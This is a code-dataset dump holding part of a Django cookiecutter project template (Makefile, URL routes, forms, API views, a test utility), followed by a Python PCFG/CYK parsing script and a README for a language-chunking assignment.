clean-build help\n.DEFAULT_GOAL := help\n\ndefine PRINT_HELP_PYSCRIPT\nimport re, sys\n\nfor line in sys.stdin:\n\tmatch = re.match(r'^([a-zA-Z_-]+):.*?## (.*)$$', line)\n\tif match:\n\t\ttarget, help = match.groups()\n\t\tprint(\"%-20s %s\" % (target, help))\nendef\nexport PRINT_HELP_PYSCRIPT\n\nhelp:\n\t@python3 -c \"$$PRINT_HELP_PYSCRIPT\" < $(MAKEFILE_LIST)\n\ntest: ## run pytest\n\tdocker-compose run web pytest\n\nsetup: ## setup the project\n\tdocker-compose run web python3 manage.py makemigrations\n\tdocker-compose run web python3 manage.py makemigrations accounts\n\tdocker-compose run web python3 manage.py migrate\n\nmmgs: ## make migrations\n\tdocker-compose run web python3 manage.py makemigrations\n\nmg: ## migrate\n\tdocker-compose run web python3 manage.py migrate\n\nup: ## run the django test webserver\n\tdocker-compose up\n\nshell: ## run a shell with the app model's imported\n\tdocker-compose run web python3 manage.py shell\n\nbuild: ## rebuild the docker container\n\tdocker-compose up --build\n\ndown: ## shutdown any running docker instances\n\tdocker-compose down\n\nstatic: ## run the \"collectstatic\" command\n\tdocker-compose run web python manage.py collectstatic\n\nclean: clean-build clean-pyc clean-test ## remove all build, test, coverage and Python artifacts\n\nclean-build:\n\trm -fr build/\n\trm -fr dist/\n\trm -fr .eggs/\n\tfind . -name '*.egg-info' -exec rm -fr {} +\n\tfind . -name '*.egg' -exec rm -f {} +\n\nclean-pyc:\n\trm -fr .cache/\n\tfind . -name '*.pyc' -exec rm -f {} +\n\tfind . -name '*.pyo' -exec rm -f {} +\n\tfind . -name '*~' -exec rm -f {} +\n\tfind . -name '__pycache__' -exec rm -fr {} +\n\nclean-test:\n\tfind . -name '.pytest_cache' -exec rm -rf {} +\n\tfind . -name '.cache' -exec rm -rf {} +\n" }, { "alpha_fraction": 0.6401098966598511, "alphanum_fraction": 0.6428571343421936, "avg_line_length": 29.33333396911621, "blob_id": "eccc9463d092ab5e32766d7f4591adb7bb49d410", "content_id": "51484a000509cd52ced9139a687d3e6d885325e1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 364, "license_type": "no_license", "max_line_length": 61, "num_lines": 12, "path": "/{{cookiecutter.project_slug}}/{{cookiecutter.project_slug}}/urls.py", "repo_name": "fhightower-templates/django-cookiecutter-template", "src_encoding": "UTF-8", "text": "from django.conf.urls import include, url\nfrom django.contrib import admin\n\nfrom . import views\n\nurlpatterns = [\n url(r'^$', views.IndexView.as_view(), name='base'),\n url(r'^api/v1/', include('api.urls')),\n url(r'^about/', views.AboutView.as_view(), name='about'),\n url(r'^accounts/', include('accounts.urls')),\n url(r'^admin/', admin.site.urls),\n]\n" }, { "alpha_fraction": 0.6938775777816772, "alphanum_fraction": 0.7006802558898926, "avg_line_length": 21.615385055541992, "blob_id": "924467203099f0061a5cda345718e36d71d2eca6", "content_id": "1773224e56c530c8c4c80d407e35d32c2e35aa79", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 294, "license_type": "no_license", "max_line_length": 59, "num_lines": 13, "path": "/{{cookiecutter.project_slug}}/accounts/forms.py", "repo_name": "fhightower-templates/django-cookiecutter-template", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nfrom django.contrib.auth.forms import UserCreationForm\n\nfrom .models import User\n\n\nclass RegistrationForm(UserCreationForm):\n\n class Meta(UserCreationForm.Meta):\n model = User\n fields = UserCreationForm.Meta.fields + ('email', )\n" }, { "alpha_fraction": 0.4761904776096344, "alphanum_fraction": 0.4761904776096344, "avg_line_length": 49.400001525878906, "blob_id": "697318f2288eed23b7faa23964f20e2468025f94", "content_id": "72fd0094ee36be92f42ef7993f4a2086ef0b4da5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 252, "license_type": "no_license", "max_line_length": 111, "num_lines": 5, "path": "/{{cookiecutter.project_slug}}/templates/registration/password_change_done.html", "repo_name": "fhightower-templates/django-cookiecutter-template", "src_encoding": "UTF-8", "text": "{{ \"{%\" }} extends '{{cookiecutter.project_slug}}/base.html' {{ \"%}\" }}\n\n{{ \"{%\" }} block content {{ \"%}\" }}\n Password changed.Get <a href=\"{{ \"{%\" }} url '{{cookiecutter.project_slug}}:index' {{ \"%}\" }}\">started</a>!\n{{ \"{%\" }} endblock {{ \"%}\" }}\n" }, { "alpha_fraction": 0.7419354915618896, "alphanum_fraction": 0.7468982338905334, "avg_line_length": 25.866666793823242, "blob_id": "048f12bb383eac3dca58353927a9fe3ff27fede4", "content_id": "66dc3888601df09442595ac0d54e17e6b98dca7c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 403, "license_type": "no_license", "max_line_length": 55, "num_lines": 15, "path": "/{{cookiecutter.project_slug}}/api/views.py", "repo_name": "fhightower-templates/django-cookiecutter-template", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nfrom rest_framework import permissions\nfrom rest_framework import generics\n\nfrom accounts.models import User\nfrom .serializers import UserSerializer\n\n\nclass UserView(generics.ListAPIView):\n \"\"\"Return a list of all users.\"\"\"\n serializer_class = UserSerializer\n queryset = User.objects.all()\n permission_classes = (permissions.IsAuthenticated,)\n" }, { "alpha_fraction": 0.6783784031867981, "alphanum_fraction": 0.683783769607544, "avg_line_length": 22.125, "blob_id": "7d6f41f62139b60edb6a2cc0a74b9de56370e905", "content_id": "43db780c3c5e6ba7c148a5882e6d4c40a8f549d8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 370, "license_type": "no_license", "max_line_length": 71, "num_lines": 16, "path": "/{{cookiecutter.project_slug}}/api/api_test_utility.py", "repo_name": "fhightower-templates/django-cookiecutter-template", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport pytest\nfrom rest_framework.authtoken.models import Token\n\nfrom accounts.models import User\n\n\[email protected]_db\ndef get_user_token():\n user = User(username='bob', email='[email protected]', password='abc123')\n user.save()\n user.add_group('free')\n token = Token.objects.get(user=user)\n return token.key\n" } ]
20
conor-mccullough/SiteMonitor
https://github.com/conor-mccullough/SiteMonitor
6ef0b7736af6dfb87da800958716022cc3dbd73a
03d07aec4cb811e949a91c46c65f1350c173a1c6
f5e407f1879d2e74bb5d48b48d9a8ff3564cafab
refs/heads/master
2023-04-07T20:34:05.510077
2019-12-12T09:42:56
2019-12-12T09:42:56
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5219554901123047, "alphanum_fraction": 0.5307376980781555, "avg_line_length": 27.23140525817871, "blob_id": "f08d66ca3cfd82ff2ae717da727e21ef9f330f0e", "content_id": "4e04ac34c6fc23a57fbf1a435c5796df4d56375a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3416, "license_type": "no_license", "max_line_length": 204, "num_lines": 121, "path": "/http_response.py", "repo_name": "conor-mccullough/SiteMonitor", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n\nimport requests\nimport yaml\nimport pymsteams\nimport json\nimport boto3\n\n#If for some reason this script is run with Python 2, the following line should stop errors:\n\ntry:\n\tfrom urllib.parse import urlparse\nexcept ImportError:\n\tfrom urlparse import urlparse\n\n# 1 :\n\ndef getyamlkey(keyValue):\n \n with open('/opt/http_response/src/config.yml', 'r') as file2:\n try:\n yamlKeys = yaml.load(file2)[keyValue]\n return yamlKeys\n except Exception as e:\n print(\"Error in configuration file\"), e\n\n#Tidies up hostnames & converts HTTP responses to 0 (good) or 1 (not good) then sends to CloudWatch. \"Elapsed\" is elapsed.total_seconds from #3/ retrieveStatus :\n\ndef sendToCloudWatch(teams, url, elapsed):\n\n statusCode = teams\n statusCodePlain = teams\n respTime = elapsed\n if statusCodePlain == 200:\n statusCodePlain = 0\n elif statusCodePlain != 200:\n statusCodePlain = 1\n\t\t\t\n siteCheckedPlain = url\n parser = urlparse(siteCheckedPlain)\n host = str(parser.hostname)\n hostName = json.dumps(host, default=lambda o: o.__dict__)\n hostName = hostName.replace('\\\"', '')\n\t\t\n print('Details: \\n', '\\n Hostname: ', hostName, '\\n RespTime: ', respTime, '\\n statusCodePlain:', statusCodePlain, '\\n statusCode: ', statusCode, '\\n siteCheckedPlain: ', siteCheckedPlain, '\\n')\n\t\t\n upDownCloudWatch = boto3.client('cloudwatch')\n\n upDownCloudWatch.put_metric_data(\n MetricData=[\n {\n 'MetricName': 'StatusCode',\n 'Dimensions': [\n {\n 'Name': 'Service',\n 'Value': hostName\n },\n ], \n 'Unit': 'None',\n 'Value': statusCodePlain\n },\n ],\n Namespace= 'ISU' \n )\n\n respTimeCloudWatch = boto3.client('cloudwatch')\n\n respTimeCloudWatch.put_metric_data(\n MetricData=[\n {\n 'MetricName': 'ResponseTime',\n 'Dimensions': [\n {\n 'Name': 'Service',\n 'Value': hostName\n },\n ], \n 'Unit': 'None',\n 'Value': respTime\n },\n ],\n Namespace= 'ISU' \n )\n\n#Sends the data to Teams - failsafe in case Grafana goes to sleep with the fishes:\n\ndef sendToTeams(teams, url):\n teamsWebHook = getyamlkey(\"webhook\")\n myTeamsMessage = pymsteams.connectorcard(teamsWebHook)\n\n print(teams, url)\n myTeamsMessage.text(\"The following URL: %s -- has returned HTTP status code %s\" % (url, teams))\n myTeamsMessage.send()\n\n\n\n# 3 :\n\ndef retrieveStatus(url):\n\n resp = requests.get(url)\n resp2 = resp.elapsed.total_seconds()\n # To test functionality, set res.status_code to != 201:\n sendToCloudWatch(resp.status_code, url, resp2)\n \n if resp.status_code != 200:\n sendToTeams(resp.status_code, url) \n return resp.status_code, resp2\n\n\n\n# 2 :\n\ndef main():\n\n urls = getyamlkey('apps')\n for x in urls:\n retrieveStatus(x)\n\n\nif __name__ == '__main__': main()\n" }, { "alpha_fraction": 0.7065727710723877, "alphanum_fraction": 0.7159624695777893, "avg_line_length": 20.299999237060547, "blob_id": "ab5d28f5174f657cd1aeaacf4638db391dbd2cda", "content_id": "04ac1231279ab26ec6fba7381264a40c0da3288f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 426, "license_type": "no_license", "max_line_length": 152, "num_lines": 20, "path": "/README.md", "repo_name": "conor-mccullough/SiteMonitor", "src_encoding": "UTF-8", "text": "## Shared service monitoring\n\nThis code is used to help capture health metrics from websites. It can be re-applied to internal sites/webapps to monitor the health of shared services.\n\n#### Setup for monitoring\n\n* Clone git repo to /opt\n* Run as a cron job, per requirements. For example:\n\n*/5 * * * * python3 /opt/http_response/src/siteCheck.py > ~/cron.log 2>&1\n\n\n#### Folder Structure\n\nTo be updated\n\n\n### Known Issues\n\nN/A\n" } ]
2
deepansh321/Learn-Sign-Language
https://github.com/deepansh321/Learn-Sign-Language
94d9aff92039c18431e8e272fbc2236735f66afa
817f2538366507fc51698ec7afe8c5b5a6164148
07f0afb018ace47568dac5b9035764ef65b89f30
refs/heads/main
2023-05-26T03:03:31.082405
2021-06-16T13:41:49
2021-06-16T13:41:49
377,801,892
1
0
MIT
2021-06-17T11:08:34
2021-06-16T13:41:52
2021-06-16T13:41:49
null
[ { "alpha_fraction": 0.745192289352417, "alphanum_fraction": 0.7644230723381042, "avg_line_length": 28.714284896850586, "blob_id": "84c2f9392310dbb2f7c95f8a3b449a2269e7e9a1", "content_id": "f3114a1c7c4a46df4d6800d579c277f5be83f9fa", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 208, "license_type": "permissive", "max_line_length": 69, "num_lines": 7, "path": "/README.md", "repo_name": "deepansh321/Learn-Sign-Language", "src_encoding": "UTF-8", "text": "# Learn-Sign-Language\n\n### Instructions\n1. Go through github basics.\n2. Create your own branch first\n3. Never push to master(main) branch\n4. Always download from master(main) branch and then start your work.\n" }, { "alpha_fraction": 0.5652784109115601, "alphanum_fraction": 0.575573205947876, "avg_line_length": 29.97101402282715, "blob_id": "5af146d8de3a7989e191e69c8d74558967c369ee", "content_id": "b7c1e1302953bbb138b81262c3bf32c995c551fc", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2137, "license_type": "permissive", "max_line_length": 98, "num_lines": 69, "path": "/main-Hand_Tracking.py", "repo_name": "deepansh321/Learn-Sign-Language", "src_encoding": "UTF-8", "text": "import cv2\nimport mediapipe as mp\n\nclass handDetector():\n \"\"\"\n Initiating:\n mode = False --> when using dynamic video capture\n maxHands --> How many hands to detect\n detectionCon --> success of detection\n trackCon --> used for tracking of hand, might have increased latency\n \"\"\"\n def __init__(self, mode=False, maxHands=1, detectionCon=0.5, trackCon=0.7):\n self.mode = mode\n self.maxHands = maxHands\n self.detectionCon = detectionCon\n self.trackCon = trackCon\n self.mpHands = mp.solutions.hands\n self.hands = self.mpHands.Hands(self.mode, self.maxHands,self.detectionCon, self.trackCon)\n self.mpDraw = mp.solutions.drawing_utils\n\n \"\"\"\n Finds hand and draws points (21 points total)\n \"\"\"\n def findHands(self,img, draw=True):\n imgRGB = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n self.results = self.hands.process(imgRGB)\n\n if self.results.multi_hand_landmarks:\n handLms = self.results.multi_hand_landmarks[0]\n if draw:\n self.mpDraw.draw_landmarks(img, handLms,self.mpHands.HAND_CONNECTIONS)\n\n return img\n \"\"\"\n Used to find postions of points of hand\n \"\"\"\n def findpositions(self, img):\n self.lmList = []\n if self.results.multi_hand_landmarks:\n myHand = self.results.multi_hand_landmarks[0]\n \"\"\"\n id represents as shown in hand_landmarks.png\n \"\"\"\n for id, lm in enumerate(myHand.landmark):\n h, w, c = img.shape\n x, y = int(lm.x * w), int(lm.y * h)\n self.lmList.append([id, x, y])\n \n return self.lmList\n \ndef main():\n cap = cv2.VideoCapture(0)\n detector = handDetector()\n while cap.isOpened():\n success, img = cap.read()\n img = cv2.flip(img,1)\n img = detector.findHands(img)\n\n lmk_list = detector.findpositions(img)\n\n if lmk_list != None:\n print(lmk_list)\n \n cv2.imshow(\"Image\", img)\n \n if cv2.waitKey(1)== 27:\n break\n cap.release()\nmain()\n" } ]
2
kchetan/Language-Chunking
https://github.com/kchetan/Language-Chunking
ab84036dca0c8bbdb739053a9915c55ccfb84371
7ebcf1543e45e99aa31507ab98bb9e29438308e2
2a6ae1431ffa1bf73ea8f8994ed0828595cbfce0
refs/heads/master
2020-03-28T05:16:57.335060
2018-09-07T03:42:25
2018-09-07T03:42:25
147,765,743
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.4204530715942383, "alphanum_fraction": 0.43792879581451416, "avg_line_length": 20.642229080200195, "blob_id": "16e0d3ed61ab19324375028340fed31709ec9f91", "content_id": "7f5f8a835a3493426d6246fff32c47f5e5270614", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7725, "license_type": "no_license", "max_line_length": 103, "num_lines": 341, "path": "/code/src/assignment_english.py", "repo_name": "kchetan/Language-Chunking", "src_encoding": "UTF-8", "text": "import re,sys,os\r\nf1=open('../src/'+sys.argv[1],\"r\")\r\nf2=open('../src/'+sys.argv[2],\"r\")\r\ncfg={}\r\npcfg={}\r\nrules={}\r\nscore=[]\r\n\r\n\r\n\r\n#------------------------------------------------------ splitting input and output\r\ndef parse_train(s):\r\n\tarr=[]\r\n\tword=\"\"\r\n\tcount=0\r\n\tfor i in s:\r\n\t\tif(i=='(' or i==')'):\t\r\n\t\t\tif(word==\"\"):\r\n\t\t\t\tarr.append(i)\r\n\t\t\telse:\r\n\t\t\t\tarr.append(word)\r\n\t\t\t\tarr.append(i)\r\n\t\t\t\tword=\"\"\r\n\t\telif i==' ':\r\n\t\t\tif word!=\"\":\r\n\t\t\t\tarr.append(word)\r\n\t\t\t\tword=\"\"\r\n\t\telse:\r\n\t\t\tword+=i\r\n\t#print arr\r\n\treturn arr\r\ndef parse_test(s):\r\n\tarr=[]\r\n\ts=s.replace(\"\\n\",\"\")\r\n\ts=s.split(\" \")\r\n\tfor i in s:\r\n\t\tj=i.split(\"_\")\r\n\t\tif len(j)==2:\r\n\t\t\tarr.append([j[1],j[0],1.0])\r\n\t#print arr\r\n\t#print s\r\n\treturn arr,len(s)\r\n\r\n\r\n#-------------------------------------------------------- create cfg \r\ndef create_cfg(a):\r\n global cfg\r\n #print a\r\n ans=[]\r\n tag=a[1]\r\n if(a[2]!='('):\r\n\t#print \"came\"\r\n ans.append(a[2].lower())\r\n\t####------------------- commnet if need VB -> (verb) kind of rules\r\n\treturn tag\r\n else:\r\n count=0\r\n arr=[]\r\n for i in range(2,len(a)):\r\n arr.append(a[i])\r\n if a[i]=='(':\r\n count+=1\r\n elif a[i]==')':\r\n count-=1\r\n if count==-1:\r\n break\r\n if(count==0):\r\n\t\t #print ' '.join(arr)\r\n ans.append(create_cfg(arr))\r\n arr=[]\r\n\t #print ' '.join(arr),count\r\n #print ans\r\n try:\r\n #if ans not in cfg[tag]:\r\n cfg[tag].append(ans)\r\n except:\r\n cfg[tag]=[ans]\r\n return tag\r\n\r\n\r\n#---------------------------------------------------------------\r\n\r\ndef cfg_to_pcfg():\r\n\tglobal cfg,pcfg\r\n\tk=cfg.keys()\r\n\tfor i in k:\r\n\t\ts={}\r\n\t\tpcfg[i]=[]\r\n\t\tl=len(cfg[i]);\r\n\t\tfor j in cfg[i]:\r\n\t\t\ttry:\r\n\t\t\t\tif s[str(j)]:\r\n\t\t\t\t\tcontinue;\r\n\t\t\texcept:\r\n\t\t\t\tt=cfg[i].count(j)*1.0/l\r\n\t\t\t\tpcfg[i].append([j,round(t,5)])\r\n\t\t\t\ts[str(j)]=1\r\n\r\ndef convert_cnf_single():\r\n\tglobal pcfg\r\n\tk=cfg.keys()\r\n\tadded=True\r\n\twhile added:\r\n\t\tadded=False\r\n\t\tk=pcfg.keys()\r\n\t\tfor i in k:\r\n\t\t\ta=[]\r\n\t\t\tfor j in pcfg[i]:\r\n\t\t\t\tif(len(j[0])>1):\r\n\t\t\t\t\ta.append(j)\r\n\t\t\t\tif len(j[0])==1:\r\n\t\t\t\t\t#print i,' -----> ',j\r\n\t\t\t\t\tt=j[0][0]\r\n\t\t\t\t\ttry:\r\n\t\t\t\t\t\tfor l in pcfg[t]:\r\n\t\t\t\t\t\t\t#print l,\r\n\t\t\t\t\t\t\ttt=j[1]*l[1]\r\n\t\t\t\t\t\t\ta.append([l[0],round(tt,5)])\r\n\t\t\t\t\t\t\tflag=False\r\n\t\t\t\t\t\t\tfor tt in pcfg[i]:\r\n\t\t\t\t\t\t\t\t#print tt\r\n\t\t\t\t\t\t\t\tfor ttt in tt:\r\n\t\t\t\t\t\t\t\t\t#print \"\\n**** \",l[0],ttt\r\n\t\t\t\t\t\t\t\t\tif l[0]==ttt:\r\n\t\t\t\t\t\t\t\t\t\tflag=True\r\n\t\t\t\t\t\t\tif not flag:\r\n\t\t\t\t\t\t\t\tadded=True\r\n\t\t\t\t\t\t#print\r\n\t\t\t\t\texcept:\r\n\t\t\t\t\t\ta.append(j)\r\n\t\t\t\t\t#print i,' ----->',a,t\r\n\t\t\t\t\t#print\r\n\t\t\tpcfg[i]=a\r\n\r\n\r\n\r\n\r\ndef convert_cnf_long():\r\n\tglobal pcfg,rules\r\n\tkk=pcfg.keys()\r\n\tct=0\r\n\tfor i in kk:\r\n\t\trules[i]=[]\r\n\t\tfor j in pcfg[i]:\r\n\t\t\tif (len(j[0]))>2:\r\n\t\t\t#\tprint '--------------------- ' , i\r\n\t\t\t\tcount=len(j[0])\r\n\t\t\t\tarr=j[0]\r\n\t\t\t#\tprint arr\r\n\t\t\t\tfor k in range(count-2,0,-1):\r\n\t\t\t\t\trules[i+'_'+str(ct)]=[[[arr[-2],arr[-1]],1.0]]\r\n\t\t\t\t\tarr=arr[:-2]+[i+'_'+str(ct)]\r\n\t\t\t\t\t#print i+'_'+str(k),' --> ',pcfg[i+'_'+str(k)]\r\n\t\t\t\t\tct+=1\r\n\t\t\t\trules[i].append([arr,j[1]])\r\n\t\t\t\t#print i,' --> ',pcfg[i]\r\n\t\t\telse:\r\n\t\t\t\trules[i].append(j)\r\n\r\n#------------------------------ CYK ALGORITHM --------------------------------------\r\ndef CYK(p,n):\r\n\tglobal rules,score\r\n\tback=[]\r\n\tfor i in range(n):\r\n\t\tscore.append([])\r\n\t\tback.append([])\r\n\t\tfor j in range(n+1):\r\n\t\t\tscore[i].append({})\r\n\t\t\tback[i].append({})\r\n\t\t\tif(i+1==j):\r\n\t\t\t\tscore[i][j]={p[i][0]:[[p[i][1]],p[i][2]]}\r\n\t\t\t\t#print score[i][j]\r\n\t\t\t\tadded=True\r\n\t\t\t\twhile added:\r\n\t\t\t\t\tadded=False\r\n\t\t\t\t\tfor k in rules.keys():\r\n\t\t\t\t\t\tfor l in rules[k]:\r\n\t\t\t\t\t\t\tfor m in score[i][j].keys():\t\r\n\t\t\t\t\t\t\t\tif l[0][0]==m and len(l[0])==1:\r\n\t\t\t\t\t\t\t\t\t#print m,k,l,\r\n\t\t\t\t\t\t\t\t\t#added=True\r\n\t\t\t\t\t\t\t\t\tprob=score[i][j][m][1]*l[1]\r\n\t\t\t\t\t\t\t\t\ttry:\r\n\t\t\t\t\t\t\t\t\t\tif score[i][j][k][1] < prob:\r\n\t\t\t\t\t\t\t\t\t\t\tadded=True\r\n\t\t\t\t\t\t\t\t\t\t\tscore[i][j][k]=[l[0],prob]\r\n\t\t\t\t\t\t\t\t\t\t\tback[i][j][k]=l[0]\r\n\t\t\t\t\t\t\t\t\t\t\t#score[i][j][k]\r\n\t\t\t\t\t\t\t\t\texcept:\r\n\t\t\t\t\t\t\t\t\t\tadded=True\r\n\t\t\t\t\t\t\t\t\t\tscore[i][j][k]=[l[0],prob]\r\n\t\t\t\t\t\t\t\t\t\tback[i][j][k]=l[0]\r\n\t\t\t\t\t\t\t\t\t#print added,k,' --> ',score[i][j][k]\r\n\t\t\t\t#print score[i][j]\r\n\t#print score\r\n\tfor span in range(2,n+1):\r\n\t\tfor begin in range(0,n+1-span):\r\n\t\t\tend=begin+span\r\n\t\t\tfor split in range(begin+1,end):\r\n\t\t\t\t#print begin,end,split\r\n\t\t\t\tfor k in rules.keys():\r\n\t\t\t\t\tfor l in rules[k]:\r\n\t\t\t\t\t\tfor m in score[begin][split].keys():\r\n\t\t\t\t\t\t\t#print score[split][end]\r\n\t\t\t\t\t\t\tfor o in score[split][end].keys():\r\n\t\t\t\t\t\t\t\tif len(l[0])==2 and l[0][0]==m and l[0][1]==o:\r\n\t\t\t\t\t\t\t\t\t#print k,m,o,l\r\n\t\t\t\t\t\t\t\t\tprob=score[begin][split][m][1]*l[1]*score[split][end][o][1]\r\n\t\t\t\t\t\t\t\t\ttry:\r\n\t\t\t\t\t\t\t\t\t\tif prob > score[begin][end][k][1]:\r\n\t\t\t\t\t\t\t\t\t\t\tscore[begin][end][k]=[l[0],prob]\r\n\t\t\t\t\t\t\t\t\t\t\tback[begin][end][k]=[split,l[0][0],l[0][1]]\r\n\t\t\t\t\t\t\t\t\texcept:\r\n\t\t\t\t\t\t\t\t\t\tscore[begin][end][k]=[l[0],prob]\r\n\t\t\t\t\t\t\t\t\t\tback[begin][end][k]=[split,l[0][0],l[0][1]]\r\n\t\t\tadded=True\r\n\t\t\twhile added:\r\n\t\t\t\tadded=False\r\n\t\t\t\tfor k in rules.keys():\r\n\t\t\t\t\tfor l in rules[k]:\r\n\t\t\t\t\t\tfor m in score[begin][end].keys():\t\r\n\t\t\t\t\t\t\tif l[0][0]==m and len(l[0])==1:\r\n\t\t\t\t\t\t\t\t#print m,k,l,\r\n\t\t\t\t\t\t\t\t#added=True\r\n\t\t\t\t\t\t\t\tprob=score[begin][end][m][1]*l[1]\r\n\t\t\t\t\t\t\t\ttry:\r\n\t\t\t\t\t\t\t\t\tif score[begin][end][k][1] < prob:\r\n\t\t\t\t\t\t\t\t\t\tadded=True\r\n\t\t\t\t\t\t\t\t\t\tscore[begin][end][k]=[l[0],prob]\r\n\t\t\t\t\t\t\t\t\t\tback[begin][end][k]=[l[0]]\r\n\t\t\t\t\t\t\t\t\t\t#score[i][j][k]\r\n\t\t\t\t\t\t\t\texcept:\r\n\t\t\t\t\t\t\t\t\tadded=True\r\n\t\t\t\t\t\t\t\t\tscore[begin][end][k]=[l[0],prob]\r\n\t\t\t\t\t\t\t\t\tback[begin][end][k]=l[0]\r\n\tt=None\r\n\tm=-1\r\n\tfor i in range(n):\r\n\t\tfor j in range(0,n+1):\r\n\t\t\t#print score[i][j],' ----' ,\r\n\t\t\tif j==n and i==0:\r\n\t\t\t\tfor k in score[i][j].keys():\r\n\t\t\t\t\t#print score[i][j][k][1]\r\n\t\t\t\t\tif(score[i][j][k][1]>m):\r\n\t\t\t\t\t\tm=score[i][j][k][1]\r\n\t\t\t\t\t\tt=k\r\n\t\t\t\t\t\r\n\t\t\t\t\tstring=buildTree(score,back,n,0,n,k)\r\n\t\t\t\t\tans='(TOP'+' '+string+') ' + str(score[0][n][k][1])\r\n\t\t\t\t\tprint ans\r\n\t\r\n\t\t#print\r\n\t#print score[0][n][t],back[0][n][t],t,0,n\r\n\t#\tbreak\r\n\r\n\tif t==None:\r\n\t\tans=\"NO TREE POSSIBLE WITH GRAMMAR\"\r\n\telse:\r\n\t\tprint \" ################# BEST PARSE TREE ########################\"\r\n\t\tstring=buildTree(score,back,n,0,n,t)\r\n\t\tans='(TOP'+' '+string+')'\r\n\tprint ans\r\n\tprint \"-\"*100\r\n\t'''\r\n\tfor i in range(n):\r\n\t\tfor j in range(n+1):\r\n\t\t\tprint back[i][j],\r\n\t\tprint \r\n\t'''\r\n\treturn ans\r\n\t\t\t\t\t\t\t\r\n#-------------------------------------------------------- GET THE TREE FORMAT \r\ndef buildTree(score,back,n,begin,end,k):\r\n\t#print '************* ',k\r\n\tt=score[begin][end]\r\n\ttry:\r\n\t\tp=back[begin][end][k]\r\n\texcept:\r\n\t\t#print t\r\n\t\treturn '('+k+' '+t[k][0][0]+')'\r\n\t#print t,p\r\n\tif(len(t)==0):\r\n\t\treturn \"NO TREE POSSIBLE WITH GRAMMAR\"\r\n\telse:\r\n\t\tif(len(p)==3):\r\n\t\t\tsplit=p[0]\r\n\t\t\tst='('+k+' '+buildTree(score,back,n,begin,split,p[1])+' '+buildTree(score,back,n,split,end,p[2])+')'\r\n\t\telif(len(p)==1):\r\n\t\t\t#print \"came ****** \",t\r\n\t\t\tst='('+k+' '+buildTree(score,back,n,begin,end,p[0])+')'\r\n\treturn st\r\n\r\n\r\n\r\n#------------------------------ GET CFG RULES FROM FILE ------------------------------------\r\n\r\nfor line in f1:\r\n line=line[:-1]\r\n st=parse_train(line)\r\n\tif len(st)>0:\r\n \tcreate_cfg(st)\r\n'''\r\nst=raw_input()\r\nst=parse_train(st)\r\n#print st\r\ncreate_cfg(st)\r\n'''\r\n\r\n\r\n#print cfg\r\ncfg_to_pcfg()\r\nconvert_cnf_single()\r\n#print pcfg\r\nconvert_cnf_long()\r\n\r\n#print rules\r\n'''\r\nfor i in rules.keys():\r\n\tfor j in rules[i]:\r\n\t\tprint i,' --> ',j[0],' ',j[1] \r\n\tprint\r\n'''\r\nfor line in f2:\r\n\tline=line.replace(\"\\n\",\"\")\r\n\tst,n=parse_test(line)\r\n\tscore=[]\r\n\ttry:\r\n\t\tCYK(st,n)\r\n\texcept:\r\n\t\tprint \"ERORR \"\r\n\t\r\n\r\n'''\r\nst=\"Greg_NNP works_VBZ in_IN a_DT bank_NN ._.\"\r\nst=\"I_PRP work_VBP in_IN a_DT post_NN office_NN ._.\"\r\nst=\"I_PRP 'm_VBP afraid_JJ ._.\"\r\np,n=parse_test(st)\r\n#print p,n\r\nscore=[]\r\nCYK(p,n)\r\n'''\r\n\r\n\r\n" }, { "alpha_fraction": 0.6481743454933167, "alphanum_fraction": 0.6606283783912659, "avg_line_length": 40.54216766357422, "blob_id": "2406afbc1b18048668f49fb93477f9ec901f9c2c", "content_id": "142487f82a5da0127273c7167a678d967cbfb5fc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 3533, "license_type": "no_license", "max_line_length": 278, "num_lines": 83, "path": "/README.md", "repo_name": "kchetan/Language-Chunking", "src_encoding": "UTF-8", "text": "Module Name: Chunking\r\nName: K. Hemant(201225002) & K. Chetan(201201124)\r\n\r\n1- Requirements:\r\n----------------\r\n Operating System : LINUX (tested on >= Fedora-19 , >= Ubuntu 10.04)\r\n\r\n Compiler/Interpreter/Librarie(s): Python\r\n\r\n2- Directory Structure:\r\n-----------------------\r\n201201124\r\n|-- code\r\n| |-- bin\r\n| | |-- compile.sh\r\n| | |-- englishrun.sh\r\n| | |-- hindirun.sh\r\n| | `-- installib.sh\r\n| |-- lib\r\n| `-- src\r\n| |-- english_chunker.py\r\n| |-- English_Test_Chunking.txt\r\n| |-- engrules.txt\r\n| |-- hindi_chunker.py\r\n| `-- Hindi_Test_Chunking.txt\r\n|-- README.txt\r\n|-- Report\r\n| `-- report.pdf\r\n`-- Results\r\n `-- english.out\r\n\r\n6 directories, 12 files\r\n \r\n(FOLLOW THIS DIRECTORY STRUCTURE ONLY, recreate your own tree at last)\r\n\r\n\r\n3- How to run\r\n---------------\r\n ---> bin - (bin folder contains 3 shell scripts (.sh files). The description of the following .sh files are given below.)\r\n\r\n ---> sh installib.sh \r\n\t\t\tIf you are using any external libraries or libraries which are not included in the standard JAVA or Python libraries, this script installs the required \t\t\t\tlibraries, for no such libraries, this file should be left blank (the libraries should be included in the 'lib' folder)\r\n\r\n ---> sh compile.sh \r\n\t\t\tThis file should contain the commands to compile your program. For Java, this script should contain 'javac program_name.java' for creating the class 